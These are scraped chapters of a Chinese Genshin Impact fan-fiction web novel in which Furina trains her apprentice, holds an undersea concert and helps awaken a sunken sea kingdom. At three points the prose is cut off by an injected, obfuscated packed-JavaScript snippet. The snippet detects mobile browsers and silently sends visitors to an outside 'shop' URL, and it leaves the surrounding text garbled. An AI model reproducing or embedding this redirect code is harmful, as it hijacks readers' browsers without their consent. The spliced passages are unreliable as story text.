不然他也不会把芙宁娜带过来,千年前,这里的主人也是海鸟,现在都传下来多少代了,没想到老板还是一如既往的神经,有点头脑,好像又不多,鎏对白羽的提议不知如何作答,这肯定是要看芙宁娜愿不愿意的。 “嗯……那就住吧,作为报酬,这是我出场最便宜的一次。” 但也是很奇妙的一次。 她招呼着蓝海心就往里走,白羽的提议来得奇怪,芙宁娜答应得也随性,安菲谢莉也摸不着头脑,只能跟着她俩往里走。 鎏却只看着前头的芙宁娜,有些无奈,演唱会也不是说办就能办的吧?但是她们这么说,高兴就好,反正,没有海民不会喜欢芙宁娜的。 “我要去找海巫,最晚三天后回来。” 他只说了这句,看着三人住下,他也转身离去,芙宁娜的实力他丝毫不怀疑,眼下还是要事为紧,无限接近于故土,他千年的思念也来得更急切。 而芙宁娜也不在意他的离去,都走到了这里,前路还远着吗?不如停下来歇一歇,这个遗失海域中的独特文明,也令三人感到好奇,她们有足够的时间,慢慢去了解。 15.第 15 章 眼下三人在这里住下,最高兴的还是白羽,她对芙宁娜可算得上是殷勤。 住在楼上最安静的屋子,她还将长久无人居住房间收拾得干干净净,往里摆上海鸟族群远处衔来的鲜花。 而她说要举办演唱会,还真的开始兢兢业业开始宣传起来,每日路过此地的飞鸟都会被她拦下,飞往各地的他们恰恰好是整个遗失海域最大的情报网,只消一天,这个消息就能传遍整个鱼人大陆,至于更远的地方,虽然消息能带到,但是他们反正也赶不过来了。 蓝海心坐在沙发上,她刚去外面转了一圈回来,此刻对于这个鱼人大陆的兴奋劲还没过去呢。 要说这些海民,他们虽然没见过人类,瞧个稀奇,但是也就看上几眼,性格倒也和善,自然,也是由于她们沾了一些芙宁娜的光。 在这个没什么娱乐方式,只余歌声荡漾的海域之中,他们对音乐的喜爱独一无二,蓝海心还看见了在海道上卖唱的人鱼艺者们。 在遗失海域,人鱼的声音得天独厚,按照他们的说法,这是被海神亲吻的嗓音。 并且他们与鎏大为不同,鎏的声音空灵,蓝海心听着只觉得太过冷清,只是听说,如果海国没有沉没,他是下一任大祭司,是只属于海神的专属歌手,只为神明献唱。 而街边的人鱼们音色却各有千秋,甚至于,他们之中没有任何一尾人鱼有银色尾巴,五彩斑斓的,他们对人类有些兴趣,所以也和蓝海心多聊了几句。 人鱼天生是海神的子民,其中银尾是神圣的,黑尾代表着强壮,是武力的象征。 这两个色泽最为特殊,而海蓝色,是独属于大海与神明的颜色。 蓝海心混在其中,社牛发作,宛如混在瓜田里的猹,有着怎么也吃不完的瓜,消息那是手到擒来。 等到她转悠一圈,自己也实在是没有货币去交易物品,只能是溜达溜达又返回了酒店,遇上正在练歌的芙宁娜。 “师父,你还真的要开演唱会呀?我刚刚去外面转了转,这个白羽老板有点东西啊,短短一天,外面到处都是演唱会的消息。” 一个是外来的人类,又是天然亲和感高,备受瞩目的芙宁娜,蓝海心和安菲谢莉走在外面,都会有不认识的海民来和她们搭讪。 这大概就是看见外国人,像是看见猴一样的稀奇吧,走过路过都要问一句:你们是打哪儿来的? “既然都说了要唱,那当然要准备好啦,不过只有短短三天……” 芙宁娜摸着下巴,她有纯水精灵们的帮忙,但是一个人还是不太够,此刻看着蓝海心,她缓缓抬起头,助教系统给她的资料里,蓝海心是学过唱歌的来着,甚至于是有一个想要当歌星的梦想。 蓝海心正说着呢,突然发现芙宁娜沉默了,看向自己的眼神,莫名有着奇异的光芒。 她眨眨眼,到嘴边的话不知怎地咽了下去,有些不知所措,“怎、怎么了吗?” 芙芙师父你别不说话,她害怕啊。 “你学过唱歌对不对?那你了解过歌剧吗?” 歌剧?这是什么高大上的东西,蓝海心的印象里,像是尼栖大剧院之中的歌舞剧,华丽、炫技,她区区一个爱豆算不上的练习生,虽然说是想当歌星…… 还是速速滑跪吧! “师父哇!我不行的,我比起你差远了,那是云泥之别啊——” 就蓝海心所听所见的几次,她是真真正正的崇拜芙宁娜,她歌声中蕴藏的感情、技巧,芙宁娜也告诉过她,她非常喜爱歌舞剧,在其中有着不菲的成就。 这是芙宁娜最喜爱、最引以为豪的。 而蓝海心的喜欢,始终没有抵达到爱的那一步。 芙宁娜笑了笑,“可是我总要教你一点东西啊,神之眼、武技,这些都是你自己的努力所获得的成果,叫我师父,总要教教你什么吧,我们的时间……也许不长了。” 她不知道提瓦特与此地的时间差异,只觉得到这里呆了许久许久,好久没吃小蛋糕了,这么长时间,天天吃海鲜,是个人都会腻味吧,还很久没有和朋友聚餐,她们的茶话会,也许等她回到提瓦特,会有再见芙卡洛斯的时候,到那时,她可以带着另一个自己,带她走遍枫丹每一个角落。 那维莱特也会对她刮目相看,这可是芙宁娜自己一个人干出来的大事!虽然她也没有很辛苦啦,毕竟有一个把她供起来的徒弟,还有她的船员,以及新世界遇见的人鱼…… 芙宁娜想得很美好,但对于蓝海心来说却糟糕透了。 如果国运游戏抵达终点,那蓝星就算是赢了,这是一场看似简单的游戏,但是如果不是靠芙宁娜,到现在估计所有人还在像一只无头苍蝇一样,在那片新手海域不停的打转,再死伤无数。 如果游戏走到了大结局,所有人都会被遣返回到家乡,可是,她与师父的缘分,也算走到了头。 “那……我跟着您学,师父,难不难啊?” “哈哈哈哈,也不难吧?有时候,我觉得你是很有天赋的哦。” 芙宁娜眼睛弯弯的,奇异的双瞳里满是快乐,如果把这看做是一场特殊的旅行,那很有趣啊。 “听我唱,能学到多少,就看你了。” 对着落下来的月光,芙宁娜在贝壳做成的屋子里翩翩起舞,歌声飞到很远很远的地方,蓝海心从一开始的不好意思开口,到后来,逐渐跟随着芙宁娜的节奏与旋律哼唱起来。 歌声唱到很晚很晚,楼下的白羽窝在自己的巢穴里,静静地聆听楼上传来的歌声,宁静祥和的感觉,像是小时候生活在阿父阿母的羽翼下…… 找上芙宁娜是对的呢,她有些开心地在窝里打个滚,嘿嘿,后天她就会赚翻啦! ————— 飞鸟们从各处衔来木材,螺贝称作闪光灯,巨大的砗磲被冲作是大舞台,从海道上游过来的海民们还没见过这么奇特的阵仗。 这是属于芙宁娜的构思,舞台的每一处都是她的精心设计,白羽不知道为什么要这样搭建,但是不妨碍她喜欢这样的建筑,她就喜欢亮闪闪的建筑,从她自己装饰的旅馆就能看出来。 说不定等到芙宁娜离开以后,这个舞台会就此留在这里,再有人鱼巡演的话,大家就会把位置定在这里,白羽可以不单单只赚一次,可以赚无数次。 她的小脑瓜已经被无数炫彩的贝螺所占据,她的小窝里会堆满这些‘俗物’,而这一切,都是她的大财主所提供的,这么一想,她看向芙宁娜的眼神就像是人类看向财神爷的目光,没有办法不去爱。 而蓝海心,已经拜服于这个阵势了。 “安菲,这个舞台也太大了,我都没有见过那么大的砗磲。” 她眼神闪亮亮的,看着台上检查成果的芙宁娜,自己心里也升起了开心来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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半空中的飞鸟们表达喜爱的方式就是将自己的羽毛投下,因此,舞台上纷纷扬扬的落下了白羽,像是落雪,满腹离别,被其完美的衬托。 “很完美,海心,唱得很好哦。” 一片欢呼声中,芙宁娜看向身后,与她同为主角的另一人,她尚且还没有反应过来,眼角滑落一丝泪珠。 助教系统的声音却在此刻响起,“恭喜你,芙宁娜,你的徒弟算是出师了,只要你们顺利地抵达终点,有始有终。” 万众瞩目,不仅仅包含着在蓝星,也包含着在遗失海域,反正这两片大陆到最后都会融合,他们都是世界意识承认的观众。 海神留下的信仰在时光中逐渐被遗忘,又在芙宁娜和蓝海心的到来后渐渐消散,这样,融合一定会更加顺利吧? 芙宁娜颇为孩子气地跳起来,拉住蓝海心欢呼一声,教一个学生什么的,轻轻松松!没有她办不到事情嘛! 而蓝海心只傻傻地擦掉泪花,以为师父是在为这场成功是巡演而开心呢,她也笑起来,对着台下的安菲谢莉挥挥手。 ‘这是天籁之音吧。’ ‘我也很想到现场,为什么要隔着一个直播间啊?’ ‘芙芙什么时候来蓝星巡演!’ ‘梦里。’ ‘但最后的含义,其实谁都看明白了。’ 芙宁娜也要回家了。 16.第 16 章 这场演唱会来得奇怪,去的也快,但是芙宁娜的歌剧确确实实征服了那日到场的所有人。 即使是匆匆赶回来的鎏,也不得不看呆了眼。 他将从海巫手里夺来的药剂递给三人的时候,尚且还带着丝丝不舍,不过他也更多的是好奇,芙宁娜喝下它,会化作什么模样的人鱼呢? 透明的瓶子里装着银色的药剂,稍微晃一晃,里面仿若带着细闪一样,在光下闪闪发亮,芙宁娜晃了一晃它,这药剂还带着些许粘稠度,在瓶子里缓慢流淌。 “你怎么拿到的?” “送的。” 鎏的声音很冷淡,好像这东西真的是来自海巫的热情,实则不然,他拿着大尾巴抽人家的时候,可要比现在凶残得多。 芙宁娜“哦”了一声,她以为鎏还是有些朋友在这里的嘛,也没有多想。 蓝海心或许有些猜测,但是终究没有戳穿他,就以鎏那副面无表情的样子,似乎连个正经朋友都没有,还没钱,哪里像是交情遍天下啦。 鎏只是弯着眼,笑眯眯的,看起来和一只笑面虎一样,但三个人都没注意,因为这传说中把人变鱼的魔药,真的很令人稀奇,注意力全被它吸引走。 安菲谢莉也不是没有童年的人,小时候总是听的童话故事里,海巫的药剂真实的出现在她眼前,她甚至都有些不敢置信。 “喝了它,我们就会变成人鱼种吗?” 蓝海心咽咽口水,想喝又有些害怕,她脑子里转一圈,想到自己在街头看见的那些鱼头人腿的物种,突然就有些下不了口了,如果只是为了在水里呼吸,变成鱼头人,她这辈子别想回蓝星了,在直播间十几亿人眼前晃一圈,她干脆改道去火星生活吧。 她甚至于都没有想过,芙宁娜会变成什么样的物种,因为在她看来,师父变身那肯定是最好看的人鱼啦。 鎏这次倒是没有逗她们。 “海巫的药剂有两个作用,一是令变化者与制造药剂的原材料相和,一是催化身躯之中原有的血脉,如果你拥有自己独特的血脉,那说不定有一定概率被激活,如果不是,我用的是我的血。” 换句话说,百分之九十变为人鱼,剩下百分之十自由发挥。 这样一说,蓝海心反而安下了心,她是地地道道的人类,那肯定还是变成人鱼吧? 芙宁娜就不需要考虑那么多了,她皱着一张脸试探性地把药剂倒嘴里,原本还以为会很难喝呢,但是进嘴里其实并没有什么味道,口感和水一样,一晃而过。 蓝海心见状,凑到她的身旁,但是半响,什么变化也没有。 “呃……你这药剂是不是过期了?还是说海巫为了报复你,这东西压根没用?” 芙宁娜也有些奇怪,她摸摸自己的脑袋,又转一圈看看自己,没有什么奇怪的,也没有别的变化,这么想着,她看向鎏,也有些拿不准了。 “不,”鎏摇摇头,“第一次喝下这药剂,当然是要沾染到海水才会起作用了。” 陆地上喝了秒变鱼,岂不会干死在陆地上? 蓝海心闻言,也终于不再狐疑,师父都喝了,她也没什么好质疑的,只能是一口把瓶子里的药剂全喝了下去,安菲谢莉紧随其后。 蓝海心自以为自己不会变化,可是很快来临的痛感让她不由得惊叫出声,她捂住额头,有一种奇异的生长之感在骨头上冒出来,像是给她的额头开了个天窗,有人拿着锥子在其上凿,痛得她站不住脚。 “怎么回事?” 芙宁娜赶忙去扶起她,可是蓝海心下一秒感觉尾椎骨也开始痛起来了,她只能蜷缩在地上,即使芙宁娜用纯水治愈她,也没有效果。 安菲谢莉则要好些,她还没有蓝海心那种程度,可是随着她指甲盖被下层的甲质顶起,尖锐的甲质层伸出,就连皓齿也变得锋锐,谈话间,舌尖触碰到牙齿,她才惊觉。 鎏也有些意外,他倒是一直以为这两个就是普普通通的人类,没想到么,全都有特殊的血脉? “别担心,是血脉第一次觉醒。” 海巫的药剂确实很管用,立竿见影,但是这些前半生一直是人类的人要在段时间里强制性地觉醒自己的血脉,不受点苦怎么行呢。 她们相当于是处于这个生长外骨骼的阶段。 楼上的动静自然惊动了白羽,就算是为了财神爷着想,她也得上来看一看。 她探头探脑地从门外头往里瞧,蓝海心与安菲谢莉被芙宁娜扶坐在了椅子上,还没缓过神来。 她们虽然疼痛难忍,但是这么久,在海上的锻炼没有白费,起码她们的忍耐力度都是超强的。 从人到改变物种,中途生长起来了一些特别的东西,对于蓝海心来说,刚开始痛过以后,就是越发的痒,到后来变得麻木,她一只靠着掐自己的大腿来转移注意力。 芙宁娜就在边上围观,她纯属好奇,蓝海心脑袋上鼓了两个大包,现在看起来是要顶破皮肉,从额上生长而出,她看得有些牙酸,而安菲谢莉,她眼角生了好些鳞片,虹膜都有些泛白。 她悄悄在心头问助教系统,“她们这是血脉觉醒了?” “这不是显而易见。” “我还没见过这样的,原来她们都有特殊血脉啊。” “估计是国运游戏的选人制度吧,”系统猜都猜出来了,“不然它这个随机范围太宽泛了,质量也参差不齐的。” 而且看情况来说,明显选这些天生亲近海的血脉,更有赢头,但是蓝星的这些血脉都消失多少年了,如果不是这药剂,以及她们二人确实有些运气,哪有现在这样。 芙宁娜也没想到那里去,如果不是鎏带来的药剂,她们也不会这样唤醒血脉。 “她们这样以后,还能变回正常人吗?” 她转头询问鎏,如果以后都顶着这副样子,在遗失海域当然不奇怪,但如果她们以后想回到自己的家,就像是人类在海民之中,一定也很奇怪吧。 鎏摇摇头,“这得看物种,像是类人种当然能自由变化,但是如果是深海种……” 他可没办法,毕竟海生物多样性是不可控的,但是这些外来人有什么血脉,他其实也并不清楚,只能等她们稳定下来再看了。 “需要……帮忙吗?” 白羽此刻才出声,她有些不好意思说话,不过眼睁睁看着两个人类变成海民,她也有些惊讶呢。 芙宁娜和鎏一回头,这才注意到小小的她。 “怎么帮?” 芙宁娜还有些懵呢,她也直接问了。 “我可以帮你们去请海医。” 其实海里也没有多少海民会生病,海医做得最多的事情就是帮鱼接生,或者是给深海种清理身上的藤壶,做着清道夫的工作。 唔……因为生长痛什么的,海医也许能诊断诊断吧? 这么想着,白羽歪歪脑袋,等待着两人的答复。 鎏却拦住了芙宁娜,“不必了,海医并不能解决问题。” 只要撑过这段时间,两人自然也就没有问题。 “哦。” 白羽只能捏着自己的小手,带了些拘谨,不知为什么,看见鎏,就像是看见了老爹老妈,稍微没做好,就会被一顿叨叨,但是鎏看起来也并不是这样的鱼啊。 她只能磨磨蹭蹭挪到鎏的视线外,当她感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964304|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鎏没有再关注她了,她才缓缓地挪到芙宁娜身边,小声地和她聊起来。 “你们要走了吗?” “是啊。” 原本预计是尽快的,但是此刻芙宁娜又开始东想西想,有些舍不得,但是又思念故土,又担忧此刻痛得发抖的徒弟,思绪一片纷乱。 “哦,我听说,你们要去沉没的海国?” 白羽有些担忧,那是一片连飞鸟也飞不过去的海域,如果她们要去,她有些不忍心那么漂亮的芙宁娜消失在了风暴海里。 芙宁娜却坚定的点点头,她当然知道,那些听说她要去风暴海的海民们,眼里全都是不可置信,对那里的恐惧害怕与劝说。 她当然会没事,只是没有人相信她。 白羽这次是真的不知道该说什么了,她不理解那里那么危险,为什么她们还要去,但是她会尊重她们的选择,这样无言地呆着,她又想到些什么,跑到了楼下去。 鎏望她一眼,这样的性格,似乎又让他想起千年前的老友,神经又咋呼,也许这就是海鸟族群的遗传性格? 芙宁娜则一直盯着浑身发生着变化的两个人,看的那是目不转睛。 蓝海心额头上那蜿蜒的长角在她眼前缓缓长成,白色的,晶莹剔透,看起来就很炫酷,同时她还长出来了一条尾巴,也是白色,亮晶晶的,芙宁娜有些看呆了。 唔……是———是龙啊! 她立马凑近了,蓝海心现在有气无力的,看着师父激动的眼神,还有些不明所以。 “是龙诶!白色的,我还没见过呢。” 那维莱特是人形之龙,但是隔壁的璃月,那位岩王帝君流传的形象芙宁娜尚且认得,当真是稀罕啊。 什么龙?龙?蓝海心迷迷茫茫的,她还没反应过来,但是直播屏幕上是炸了锅。 ‘夏国又喜提一只龙。’ ‘好好好,又来一只国宝。’ ‘下半辈子铁饭碗又有着落了。’ ‘夏国的龙可以外借吗?’ ‘外国人想都不要想!’ ………… 弹幕上的人七嘴八舌地讨论,蓝海心却还是愣愣地,反应不过来。 “师父,我……” 她想问问自己怎么了,结果下一秒,她差点跳起来。 芙宁娜在她还没回过神来的时候,一只手摸上了她的角,冰冰凉凉的,还是硬的,但是蓝海心却只感觉芙宁娜的手摸过的地方又烫又痒,让她一下子缩起来。 “诶嘿,不好意思啦……” 她反应这么剧烈,芙宁娜也不好意思地把手背在身后,她还以为角是没有感觉的呢。 “不过,现在可好了,你们都变成海生种,那游过风暴海,一定是轻轻松松吧?” 这么一说,芙宁娜一起期待起回家了,蓝海心也缓了过来,此刻站起来走了两步。 这种感觉要怎么说呢?走路还是以往的那个样,但是她尾椎骨多了一条尾巴,平衡毫无问题,就是总感觉怪怪的,尾巴在后面一摆一摆的,偶尔还想伸到师父身边去。 安菲谢莉做着养了一会儿神,此时也站了起来,她没有尾巴没有角,只是肌肤上长出了许多鳞片,脸被覆盖了一半,浑身上下泛着烟绿色的光芒,连指甲盖都覆盖着一层亮光,这一看,就好似是个带毒的物种,触摸不得,碰一碰要命的样子。 “都好了?那就走吧。” 鎏抱着胸,看着她们这一番大的变化,却丝毫惊讶也没有。 人类转化为海生种,外表的变化是其次,最重要的是,她们要克服对深海的恐惧,如果无法潜游,那么和淡水鱼也没什么区别了。 17.第 17 章 所以接下迎接她们的,就是那一望无际的波涛了。 虽然在船上生活了那么久,这一片大海每天都看,自己已经不感觉稀奇了,但是若要说沉入水中,蓝海心下去游了一圈,她竟然觉得此刻身后的尾巴带给她的感觉是一种负累。 安菲谢莉就没那么多顾虑了,她只是长了些鳞片,又不是多了些什么。 而所有人都期待的芙宁娜,她大概也是非常不科学的变身,白嫩的双腿一遇到海水,蓝色的光芒绽开,一条三米多长的鱼尾变化了出来,鱼尾末端宛如深蓝色的薄纱,让她在水中美得惊心动魄。 浅蓝向深蓝色的转变,与她的礼服融为一体,裙摆的拖尾装饰在鱼尾之后,让她看起来像是深海里的人鱼女王一样,连鎏的银尾也黯然失色。 鱼尾第一次出现,便如臂指使,芙宁娜只往海下一潜,尾部巨大的力道就能将她推进向前。 蓝海心蹲在海岸上看得一脸羡慕,“和我想的一样啊,师父真好看。” 安菲游在远处看她,“别看了,下来试试。” “这可是相当于旅途最后一程了。” 芙宁娜浮在海面上,等待着蓝海心追随上她们的步伐。 岸边的蓝海心当然是会游泳的,但是先前一下去,和她不太熟的尾巴就开始乱甩,造成的后果就是——让她在海里像是旋风一样翻滚,自己先转了个头晕眼花。 芙宁娜反正是捧腹大笑,不会游泳的见多了,头一次见在海里人工造漩涡的。 鎏看着所有人笑作一团,他却不由自主看向海的那一头,阴沉沉的天,远远的又很模糊,一些礁石充当了他们之间的分界线,将两侧分割开来,这不是大自然的玄奇造物,而是来自神明降下的阻隔。 他长长地舒了一口气,千年后,他又信奉着预言,带来了海国重启的钥匙。 “芙宁娜大人,您想好了吗?与您的伙伴们,一起出发。” “我们不会退缩。” 她们是第一波抵达的勇者,现在,已然变成了所有人的期望。 蓝海心的愿望便是当一个英雄,一个万众瞩目的人,此时此刻,她的神之眼泛着水蓝色的光芒,不强也不弱,替她照亮了水中的环境,让她不再惧怕黑暗与水中的宁静。 海下的穿梭,一如童话故事里的冒险奇谭,时不时有大鱼游过,带着智慧的他们敬佩地看着执着于向风暴海方向游过去的一行人,同时,他们也为属于海神的‘人鱼首领’——芙宁娜带去敬意。 “妈妈,她们为什么要往那边走?你不是说那一头是很危险很危险的地方吗?” “是很危险的地方,但是有勇气的海民是不会惧怕危险的。” 从水下往上游的海民目送着她们的离去,同时也朝着芙宁娜的方向致意。 她就说吧,比普通人鱼的歌声还要美妙的,怎么会是个普通人类呢?她们一定是海神的归来!她要去把消息告诉所有人! 芙宁娜可不知道惊鸿一瞥下,那些海民的心思,目光执着地朝着那片最危险的地方而去,蓝海心和安菲谢莉紧随其后,虽然尾巴有些不好控制,但是至少也不会再出差错了。 直到抵达着暗礁分割线,芙宁娜跃上水面,凭空站在了海面上。 常年不散的风暴、通天彻地的龙卷、海下的漩涡…… “海国是沉没入水下了?” “是的。” 鎏眼神迷茫,带着些回忆,他其实记忆已经很模糊了,只记得那被没入海水的宫殿,以及大量族人闭目,与宫殿一同沉睡的画面。 蓝海心此刻也站上了礁石,她看着前方那场面,突然觉得自己先前遇见的风暴都只能说小巫见大巫,即使是和安菲谢莉相遇的那一次,也只是小有惊险。 芙宁娜伸出手,跨过那道无形的屏障,风呼呼地刮过她的手,即使面对她,也没有温柔半分。 “系统,如果我先抵达海国宫殿,那么蓝海心算通关吗?” 助教系统一直都在,此刻听见芙宁娜的询问,它才出声。 “这是她的考验,你们只能在终点站见面了。” “如果,我是说如果她中途受伤、或者是……” 或者死掉,那么又如何? “芙宁娜小姐,你难道没有想过为什么世界意识会找上你担任蓝海心的老师吗?” “为什么?” 芙宁娜不知道,她以为随机的呢,但是系统见多了,它就是当中间商的,它能不知道? “因为天运在她,蓝海心是最有可能做出成就的,但是中途也许会横生枝节,这个世界意识等不了那么久,祂想走捷径,才会找上我和你。” 芙宁娜闻言,转头看向她,这约莫就是普遍意义上剧本之中的主角吧?她不再询问系统了。 蓝海心得到了水神的祝福,又兼有顽强的毅力;安菲谢莉见识的更多,经验也更丰富,有了海下呼吸自保的能力,也是如鱼得水;鎏自此处来,也渴望回归这里。 那么他们这一行,最后的一程,就各凭本喽。 “傻徒弟,你害怕吗?” “啊?”蓝海心侧过头看向身旁的芙宁娜,随后又坚定地摇摇头,“有点怕,但是又不是很害怕,哈哈,师父,呼——我觉得,我可以的。” 国运游戏速通版,她怕什么呢?尽管心脏好似要跳出胸膛,可是她的脑子此刻却异常的冷静,尾巴也没有再乱动了,好像和她心念合一。 “走吧师父,别担心,我会跟上的。” “……我在终点等你。” 傻徒弟。 说完,芙宁娜跨入那道阻隔了两个世界的屏障之中,鎏也随之而去。 蓝海心和安菲谢莉站在原地,看着他们俩沉入海下便没了身影,满腔热血也被激起,追随者她们的脚步潜了下去。 暗流涌动,危险时时刻刻,一进入这昏暗无光的海底,波涛便斩断了后路,同行的人影全都消失不见,不知被漩涡卷去了哪里。 蓝海心得感谢自己如今能在海下呼吸,不然她可能直接被海水呛死,纷乱的暗流东一股、西一股,把她卷的头晕目眩,一如先前她在海里打滚,但是此时唯一够好的,就是她有了些抗性,还有力气挣脱那漩涡。 自然的力量被神力驱使加持,变得更为可怖。 重重阻碍,无光海底,这里无声无息,没有任何生物能在这里存活、栖息,蓝海心好不容易挣脱将她卷进去的漩涡,在一抬眼,海里静悄悄的,便只有她一个人的身影了。 她想要浮上海面,却被暴风雨打入海底,只能自己一个人判断方向,巡游起来。 她的尾巴此刻顺服了,终于听了她的指挥,能够有力地拍碎那些海下的暗礁,帮她逃出涡流,朝着自己认定的方向前进。 风暴海下,昔日神圣的建筑此刻被海草淹没,形成一片海中绿地,芙宁娜摇晃着大尾巴,立在海中,等待着所有人的到来。 她其实一进入水下,就被世界意识带到了这里,相当于给了她开了一个后门,她此刻能做的,唯有等待。 等着鎏、蓝海心和安菲谢莉的到来。 “系统,反正也无聊,你不如和我说说这个世界原本的进程?” 天运之子蓝海心原来的命运。 它说是因为世界意识想要加速世界融合的进程,入侵这个破碎海域,所以才举办了国运游戏,为了资源,也为了世界的升华。 祂又嫌弃进度太慢,那依照原来的猜想,没有她,蓝海心会如何?这个世界又会怎样呢? “没有遇见你,蓝海心会在最初的暴风雨里船毁昏迷,她被卷起的海浪拍断了腿,昏迷两天后被冲到最近的海岸……” 在那里,她因为腿伤无法行走,无数次心存死志,却又被直播间的人的鼓励而选择活下去,在岛上生存两年的时光,让她意外获得了地图,最终她选择为了亲人与国家,再度启航。 “两年……断了腿无法行走,独自一人被迫搁置海岛,心中的阴影无法驱散,恐惧一望无际的海洋。” 芙宁娜想到那样的场面,蓝海心一直是孤身一人,最艰难的时候两天吃不上一顿,她确实是个勇敢的人。 “然后呢?她何时又抵达遗失海域?” “抵达遗失海域,她花了三年,与等不到预言之人的鎏擦肩而过。” 鎏在其中也有戏份吗?芙宁娜动了动尾巴,他好似心中也的确埋藏了许多事情。 “最后呢?那她最后又该如何抵达深海之下的海国遗迹?” “鎏不是和你提到过海巫吗?他们可不是好说话的种族,没有实力或者泼天的财富,那只有拿海巫感兴趣的东西交换,她拿到了觉醒药剂,作为交换,觉醒后,她割掉了自己的一对龙角,此时此刻,作为最接近终点的人,她却并没有走到最后,而是因为海底迷障,浑浑噩噩迷失在了这里。” 这个代价,摸一摸就敏感发痒的角,被自己生生割了下来,芙宁娜内心也不自主地有些幻痛,她摸摸自己的额头,龙的角有多重要,她不是不知道,蓝海心的结局,也最终没有回到家乡,没有见到亲人。 “……悲剧式的结尾,但是一个人能走到这里,也已经很了不起了,我已经很为她骄傲了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976772|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“但是,你回到枫丹,缘分就断了。” 系统冷酷无情地说出这个事实,它所辅助过的老师有很多任,大家都经验丰富,唯独遇上一个芙宁娜,它开始充当狗头军师,它都想说到底谁是师傅了?不过现在看来,得亏是徒弟争气。 此前师徒分别亦有不舍,不过,这只是一段特殊的缘分,只能各系世界两端了。 “但是我的朋友旅行者说,缘分是断不了的,只要还有人记得,它就存在,重要的不是结果,而是我们之间所经历过的旅程。” 芙宁娜并不为此伤心,她有些好奇另外两个旅伴,“鎏和安菲谢莉呢?我的徒弟历经千难万险找到了失落海国,他们的结局又是什么?” “安菲谢莉九死一生逃离了海龙卷,海上漂泊数日,她遇见了一线生机,可对方没有选择施以援手;而鎏,他等不到预言之人,与其错过后,便先一步回到了风暴海,他的结局……也许是他的尸骨最终被海国接引,回到了此处吧。” “如果这是一篇小说,那一定会被人寄很多刀片吧?” 芙宁娜吐槽,没有一个人有好的结局,世界意识创造国运游戏的时候,就做错了。 没有第一个勇士,后来者便永远如同一盘散沙,无法聚沙成塔,所以他们只能靠自己一个人的力量企图走到终局,最后嘛,付出惨重的代价,也成全不了一个人称作英雄。 “这个故事告诉我,救世主的确不是那么好当——等等,是不是有东西过来了?” 远处黑暗之中,一抹银色的鱼尾一场闪亮,他冲破了无数阻拦,拜托海下的暗流漩涡,最终遵循着心底的指引,冲破了宫殿外的屏障,像一道闪电一样,落在了宫殿之前。 是鎏,他此刻似乎是不敢相信,有似乎是在追忆往昔,立在这宫殿之前,沉默却又释怀。 随后一步抵达的,便是狼狈的蓝海心,她是被一道暗流甩过来的,整个人倒栽葱一样,没入了海草里面,头没抬起来,尾巴无力下垂,可能是,太晕乎了吧。 芙宁娜没有急着催促她,而是慢慢等她缓过神来,这时候,安菲谢莉也最后一个来到了这里。 “海心,”芙宁娜摸了摸她的脑袋,三米长的大鱼尾让她看起来非同一般的高,“去开门吧,只有你能开启它。” 这个海神殿的原主人也是龙族吗?或许正是因此吧。 蓝海心此刻看了芙宁娜许久,她知道时间不多了,此时俨然是想把芙宁娜的模样永远地记下来。 “谢谢您,师父。” 她抱住了芙宁娜,谢谢您,改变了我的命运。 从暗流之中挣脱,她似乎恍惚间看见了另一个结局,果然,她是一个幸运的人,而她的师父,也是最好、最棒的师父。 宫殿的大门屹立眼前,蓝海心放开芙宁娜,她已经抱得够久了。 前方的鎏一直沉浸在自己的思想里,一直到蓝海心游上前去,他才被惊动,急切地看着开门人。 而蓝海心此时再度回头看了看,芙宁娜站在最后面笑着看着她,眼里是满是赞扬。 再之后,她转头划破了她的掌心,血液抹在门扉上,耀眼的蓝光从门缝里传来,随着‘嘎吱嘎吱’的声音,巨门打开,光芒初绽。 海底地动天摇,这片失落的大陆位于鱼人大陆最中间,被所有海民拱卫,此刻在遗失海域所以海民的震惊之中,从海底升起。 水弥漫上了陆地,但没有海民慌张,他们本就生活在水里,比起这个,是那片重新回归的陆地更值得让海民在意。 辉煌耀眼的光芒中,蓝海心第一次化身龙形,破水而出,冲上高空。 而鎏步入了昔日属于大祭司的占星殿,在这里,他的父亲正笑着看着他走进来,虚虚实实之间,将手中代表着大祭司身份的权杖交到他手里。 千年前,他尚且还是人鱼之中最年轻气盛的少年,他的父亲是大祭司,他的母亲是海神武卫,这座海神宫殿是他的摇篮。 海神那时候已经很虚弱了,只是谁也没察觉,直到神明突兀的逝去,神代的终结,他是最后的篇章。 “迄今为止一千年。” 蓝海心此刻见得更多,遗失海域属于一个魔法海洋文明,蓝星是科技陆地文明,两方世界的融合,让整个蓝星扩大了无数倍,两方种族都似有所感。 她落到了海神殿的最顶端,朝着天空之外轻声道:“师父,保重呀。” 而被系统卷走的芙宁娜,她面无表情,怎么来地怎么走,就真的是来去匆匆呗? “喂,等等啊!记得我的报酬——” 她的芙卡洛斯啊! 18.番外 